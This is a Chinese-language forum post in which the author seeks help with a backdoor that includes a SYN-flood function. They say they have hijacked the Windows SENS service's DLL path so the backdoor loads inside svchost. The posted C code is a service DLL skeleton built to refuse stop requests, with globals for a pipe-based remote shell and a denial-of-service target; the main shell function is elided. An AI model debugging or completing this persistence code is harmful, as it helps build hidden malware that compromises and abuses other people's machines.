这个DLL为什么不能在svchost中正确启动服务呢?
大家好。我上次问的那个后门所有功能模块都已经写完,包含了一个SYN洪水的功能。现在我正在写它的隐蔽,就是以DLL形式插入到svchost中。可是我写的这个DLL为什么不能正确启动服务呢?(我是替换了系统服务SENS的DLL路径,指向了自己的DLL) 谢谢大家。
(参考了bingle的那篇文章)
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
#include <winsock2.h>
#include <stdlib.h>
#include <tlhelp32.h>
#include <Ws2tcpip.h>
#include <time.h>
#include <string.h>
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
char pwd[16]="by";char buff[65536];
struct{SECURITY_ATTRIBUTES sa;HANDLE hread,hwrite,cread,cwrite;
STARTUPINFO si;PROCESS_INFORMATION pi;
}extshell;
struct{char target[256];char dostype;char faketype;HANDLE threadhandle;HANDLE timerhandle;
int pausetime;int seconds;int definemins;WORD attackport;WORD useport;}dos;
HANDLE filefp;HANDLE pbitmapwithoutfileh;DWORD sizeimage;unsigned int packnum=0;
__declspec(dllexport)
void WINAPI ServiceMain(DWORD,LPTSTR *);
__declspec(dllexport)
void WINAPI ServiceControl(DWORD);
DWORD WINAPI CmdService(LPVOID);//real telnetEX server function
__declspec(dllexport)
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
__declspec(dllexport)
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
//donot accept STOP request
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatusHandle=RegisterServiceCtrlHandler("SENS",ServiceControl);
if(ServiceStatusHandle==0)
{
return ;
}
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
Sleep(1000);
ServiceStatus.dwCurrentState=SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
while(1){Sleep(1000);}
return ;
}
void WINAPI ServiceControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
//donot accept STOP request
/* case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
while(lpProcessDataHead!=NULL)
{
TerminateProcess(lpProcessDataHead->hProcess,1);
if(lpProcessDataHead->next!=NULL)
{
lpProcessDataHead=lpProcessDataHead->next;
}
else
{
lpProcessDataHead=NULL;
}
}
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;*/
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
return ;
}
DWORD WINAPI CmdService(LPVOID lpParam){ ……}//主要工作函数